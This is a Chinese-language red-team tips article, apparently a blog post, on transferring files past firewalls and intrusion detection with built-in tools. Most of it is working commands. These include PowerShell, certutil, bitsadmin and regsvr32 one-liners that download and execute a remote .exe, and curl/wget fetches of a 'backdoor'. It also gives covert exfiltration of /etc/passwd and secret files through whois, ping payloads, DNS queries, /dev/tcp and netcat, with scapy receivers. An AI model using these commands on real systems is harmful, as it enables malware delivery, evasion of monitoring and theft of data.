目录

搭建 HTTP server

Python

PHP 5.4+

Ruby

Ruby 1.9.2+

Perl

busybox httpd

Download files from HTTP server

Windows

Linux

Setup HTTP PUT server

使用 Nginx 搭建 HTTP PUT Server

使用 Python 搭建 HTTP PUT Server

上传文件到 HTTP PUT server

Linux

Windows

使用 Bash /dev/tcp 进行文件传输

使用 SMB 协议进行文件传输

搭建简易 SMB Server

使用 whois 命令进行文件传输

使用 ping 命令进行文件传输

使用 dig 命令进行文件传输

使用 NetCat 进行文件传输

参考链接


在红队渗透测试当中往往需要最大化利用当前的环境绕过重兵防守的系统的防火墙、IDS、IPS等报警和监控系统进行文件传输,本文列出了多种利用操作系统默认自带的工具进行文件传输的方法。

搭建 HTTP server

Python

python2:

python -m SimpleHTTPServer 1337

以上命令会在当前目录启动 HTTP 服务,端口为 1337

python3:

python -m http.server 1337

以上命令会在当前目录启动 HTTP 服务,端口为 1337

PHP 5.4+

当 PHP 版本大于 5.4 是,可使用 PHP 在当前目录启动 HTTP 服务,端口为 1337

php -S 0.0.0.0:1337

Ruby

下面的命令会在当前目录下启动 HTTP 服务,端口为 1337

ruby -rwebrick -e'WEBrick::HTTPServer.new(:Port => 1337, :DocumentRoot => Dir.pwd).start'

Ruby 1.9.2+

ruby -run -e httpd . -p 1337

Perl

perl -MHTTP::Server::Brick -e '$s=HTTP::Server::Brick->new(port=>1337); $s->mount("/"=>{path=>"."}); $s->start'
perl -MIO::All -e 'io(":8080")->fork->accept->(sub { $_[0] < io(-x $1 +? "./$1 |" : $1) if /^GET \/(.*) / })'

Thanks to: http://stackoverflow.com/questions/8058793/single-line-python-webserver

busybox httpd

busybox httpd -f -p 8000

本条来自:lvm

Download files from HTTP server

以下列出了在 Windows 和 Linux 系统下使用系统自带工具从 HTTP Server 下载文件的几种方法

Windows

powershell

下载并执行:

powershell (new-object System.Net.WebClient).DownloadFile('http://1.2.3.4/5.exe','c:\download\a.exe');start-process 'c:\download\a.exe'

certutil

下载并执行:

certutil -urlcache -split -f http://1.2.3.4/5.exe c:\download\a.exe&&c:\download\a.exe

bitsadmin

下载并执行:

bitsadmin /transfer n http://1.2.3.4/5.exe c:\download\a.exe && c:\download\a.exe

bitsadmin 的下载速度比较慢

regsvr32

regsvr32 /u /s /i:http://1.2.3.4/5.exe scrobj.dll

Linux

Curl

curl http://1.2.3.4/backdoor

Wget

wget http://1.2.3.4/backdoor

awk

在使用 awk 进行下载文件时,首先使用以上列出的任意一条命令启动一个 HTTP Server

awk 'BEGIN {RS = ORS = "\r\n"HTTPCon = "/inet/tcp/0/127.0.0.1/1337"print "GET /secret.txt HTTP/1.1\r\nConnection: close\r\n"    |& HTTPConwhile (HTTPCon |& getline > 0)print $0close(HTTPCon)
}'

效果:

Setup HTTP PUT server

以下列出了上传文件到 HTTP Server 的几种方法

使用 Nginx 搭建 HTTP PUT Server

mkdir -p /var/www/upload/ # 创建目录
chown www-data:www-data /var/www/upload/ # 修改目录所属用户和组
cd /etc/nginx/sites-available # 进入 nginx 虚拟主机目录# 写入配置到 file_upload 文件
cat <<EOF > file_upload
server {listen 8001 default_server;server_name kali;location / {root /var/www/upload;dav_methods PUT;}
}
EOF
# 写入完毕
cd ../sites-enable # 进入 nginx 虚拟主机启动目录
ln -s /etc/nginx/sites-available/file_upload file_upload # 启用 file_upload 虚拟主机
systemctl start nginx # 启动 Nginx

使用 Python 搭建 HTTP PUT Server

以下代码保存到 HTTPutServer.py 文件里:

# ref: https://www.snip2code.com/Snippet/905666/Python-HTTP-PUT-test-server
import sys
import signal
from threading import Thread
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandlerclass PUTHandler(BaseHTTPRequestHandler):def do_PUT(self):length = int(self.headers['Content-Length'])content = self.rfile.read(length)self.send_response(200)with open(self.path[1:], "w") as f:f.write(content)def run_on(port):print("Starting a HTTP PUT Server on {0} port {1} (http://{0}:{1}) ...".format(sys.argv[1], port))server_address = (sys.argv[1], port)httpd = HTTPServer(server_address, PUTHandler)httpd.serve_forever()if __name__ == "__main__":if len(sys.argv) < 3:print("Usage:\n\tpython {0} ip 1337".format(sys.argv[0]))sys.exit(1)ports = [int(arg) for arg in sys.argv[2:]]try:for port_number in ports:server = Thread(target=run_on, args=[port_number])server.daemon = True # Do not make us wait for you to exitserver.start()signal.pause() # Wait for interrupt signal, e.g. KeyboardInterruptexcept KeyboardInterrupt:print "\nPython HTTP PUT Server Stoped."sys.exit(1)

运行方法:

$ python HTTPutServer.py 10.10.10.100 1337
Starting a HTTP PUT Server on 10.10.10.100 port 1337 (http://10.10.10.100:1337) ...

上传文件到 HTTP PUT server

Linux

Curl

$ curl --upload-file secret.txt http://ip:port/

Wget

$ wget --method=PUT --post-file=secret.txt http://ip:port/

Windows

Powershell

$body = Get-Content secret.txt
Invoke-RestMethod -Uri http://ip:port/secret.txt -Method PUT -Body $body

使用 Bash /dev/tcp 进行文件传输

首先需要监听端口

文件接收端:

nc -lvnp 1337 > secret.txt

文件发送端:

cat secret.txt > /dev/tcp/ip/port

使用 SMB 协议进行文件传输

搭建简易 SMB Server

搭建简易SMB Server 需要用到 Impacket 项目的 smbserver.py 文件

Impacket 已默认安装在 Kali Linux 系统中

syntax: impacker-smbserver ShareName SharePath

$ mkdir smb # 创建 smb 目录
$ cd smb # 进入 smb目录
$ impacket-smbserver share `pwd` # 在当前目录启动 SMB server,共享名称为 share

效果:

从 SMB server 下载文件

copy \\IP\ShareName\file.exe file.exe

上传文件到 SMB server

net use x: \\IP\ShareNamecopy file.txt x:net use x: /delete

使用 whois 命令进行文件传输

/etc/passwd

Host A

Host B

接收端 Host B:

nc -vlnp 1337 | sed "s/ //g" | base64 -d

发送端 Host A:

whois -h 127.0.0.1 -p 1337 `cat /etc/passwd | base64`

效果:

使用 ping 命令进行文件传输

secret.txt

Sender

Reciver

发送端:

xxd -p -c 4 secret.txt | while read line; do ping -c 1 -p $line ip; done

接收端:

以下代码保存到 ping_receiver.py

import systry:from scapy.all import *
except:print("Scapy not found, please install scapy: pip install scapy")sys.exit(0)def process_packet(pkt):if pkt.haslayer(ICMP):if pkt[ICMP].type == 8:data = pkt[ICMP].load[-4:]print(f'{data.decode("utf-8")}', flush=True, end="", sep="")sniff(iface="eth0", prn=process_packet)

执行方法:

python3 ping_receiver.py

效果

使用 dig 命令进行文件传输

/etc/passwd

Sender

Reciver

发送端:

xxd -p -c 31 /etc/passwd | while read line; do dig @172.16.1.100 +short +tries=1 +time=1 $line.gooogle.com; done

接收端:

以下代码使用了 python 的 scapy 模块,需要手动安装

代码保存到 dns_reciver.py 文件中

try:from scapy.all import *
except:print("Scapy not found, please install scapy: pip install scapy")def process_packet(pkt):if pkt.haslayer(DNS):domain = pkt[DNS][DNSQR].qname.decode('utf-8')root_domain = domain.split('.')[1]if root_domain.startswith('gooogle'):print(f'{bytearray.fromhex(domain[:-13]).decode("utf-8")}', flush=True, end='')sniff(iface="eth0", prn=process_packet)

运行方法:

python3 dns_reciver.py

效果:

使用 NetCat 进行文件传输

1.txt

A:10.10.10.100

B:10.10.10.200

接受端:

nc -l -p 1337 > 1.txt

发送端:

cat 1.txt | nc -l -p 1337

或者

nc 10.10.10.200 1337 < 1.txt

在极端环境下,如果接受端没有 nc 可以使用 Bash 的 /dev/tcp 接收文件:

cat < /dev/tcp/10.10.10.200/1337 > 1.txt

渗透测试中的文件传输技巧相关推荐

  1. 浅析DNSlog在渗透测试中的实战技巧

    文章目录 前言 SSRF 盲打 XSS的盲打 XXE的盲打 SQL的盲注 RCE的盲打 总结 前言 在某些无法直接利用漏洞获得回显的情况下,但是目标可以发起 DNS 请求,这个时候就可以通过这种方式把 ...

  2. 渗透测试中信息收集的那些事

    渗透测试中信息收集的那些事 转载自:TideSec(知名安全团队)--VllTomFord(大佬)------https://www.cnblogs.com/OpenCyberSec/p/107941 ...

  3. 渗透测试中常用端口及利用

    渗透测试中常用端口及利用 端口 服务 入侵方式 21 ftp/tftp/vsftpd文件传输协议 爆破/嗅探/溢出/后门 22 ssh远程连接 爆破/openssh漏洞 23 Telnet远程连接 爆 ...

  4. 渗透测试中的端口利用

    渗透测试中的端口利用 我们在进行渗透测试中,一般情况下会对端口进行扫描,看看服务器中开启了哪些端口,对应的端口一般存在对应的服务,而这些服务可能存在相应的漏洞,下面就是简单结束一下端口对应服务,服务可 ...

  5. 渗透测试中的msiexec

    本文讲的是渗透测试中的msiexec, 0x00 前言 在上篇研究了ClickOnce的渗透技巧,接触到了安装包的概念.关于安装包还有一个常见的是msi文件,可在命令行下通过msiexec安装,所以这 ...

  6. linux系统中的文件传输

    Linux系统中的文件传输 1 实验环境 2 scp命令 3 rsync命令 3.1 rsync和scp命令对比 3.2 rsync命令用法 4 文件的归档压缩 4.1 文件归档 4.2 文件压缩 4 ...

  7. 服务器测试文件怎么创建,如何创建一个“FTPS”模拟服务器以单元测试Java中的文件传输...

    我有一个创建FTPS连接的CreateFTPConnection类.使用此连接传输文件.这里是TransferFile类的代码如何创建一个"FTPS"模拟服务器以单元测试Java中 ...

  8. 计算机硬盘无法查找文件,硬盘系统中的文件搜索技巧整理

    硬盘系统中的文件搜索技巧整理 发布时间:2014-03-04 09:07:58   作者:佚名   我要评论 电脑已成为一个知识库,许多文件都可以从里面找到,当我们要寻找以前看过的某个文件时,如果记不 ...

  9. 如何在渗透测试中尽可能隐藏自己-proxychains4使用配置教程

    在渗透测试中,往往需要对自身电脑ip进行网络上的隐藏,如何才能快速简单的在网络扫描中简单实现匿名扫描呢? Proxychains帮助我们完成这一操作 那么 ,proxychains是什么? GNU协议 ...

最新文章

  1. MSN8.0测试邀请发放
  2. 浅析网站SEO与网站建设密不可分的关系
  3. boost::ratio_equal相关的测试程序
  4. 群晖pxe安装windows_通过PXE快速部署VMware ESXi 6.5
  5. TypeScript 函数类型参数的用法举例
  6. 哪些网站在+1s后有神奇的功能
  7. PHP ajax 传递中文乱码,ajax+php传递中文乱码解决办法
  8. java 按钮不可用_java – 如何使按钮不可点击
  9. 【Selenium Grid 分布式测试】Selenium Grid下载安装
  10. C#编写CPU压力测试程序
  11. 前轮反馈控制(Stanley) 法
  12. 什么专业越老越吃香?
  13. officeXP打开docx文档的方法
  14. CAN总线学习笔记(1)- CAN基础知识
  15. 移动MM 支付SDK遇到的问题
  16. 斯蒂文斯理工学院计算机专业应聘,斯蒂文斯理工学院回国认可度高不高
  17. eNSP实验vlan及交换机接口类型配置
  18. linux网站权限恢复,RMAN异机恢复——备份集权限问题
  19. 谱分析——连续傅里叶变换
  20. 身份证正反面识别,身份证扫描识别,二代身份证OCR识别,OCR极速识别身份证所有信息正反面均可。离线无需联网,极速秒扫。

热门文章

  1. python实现表格_零基础小白怎么用Python做表格?
  2. Docker 容器技术 — Private Registry
  3. Prometheus — 安装部署(主机安装)
  4. C 家族程序设计语言发展史
  5. Redis NoSQL
  6. Openstack 中的消息总线 AMQP
  7. Python 基础语法_Python脚本文件结构
  8. Docker swarm 集群搭建
  9. 微信小程序教学第三章第四节(含视频):小程序中级实战教程:下拉更新、分享、阅读标识...
  10. Web 压力测试工具 --Apache AB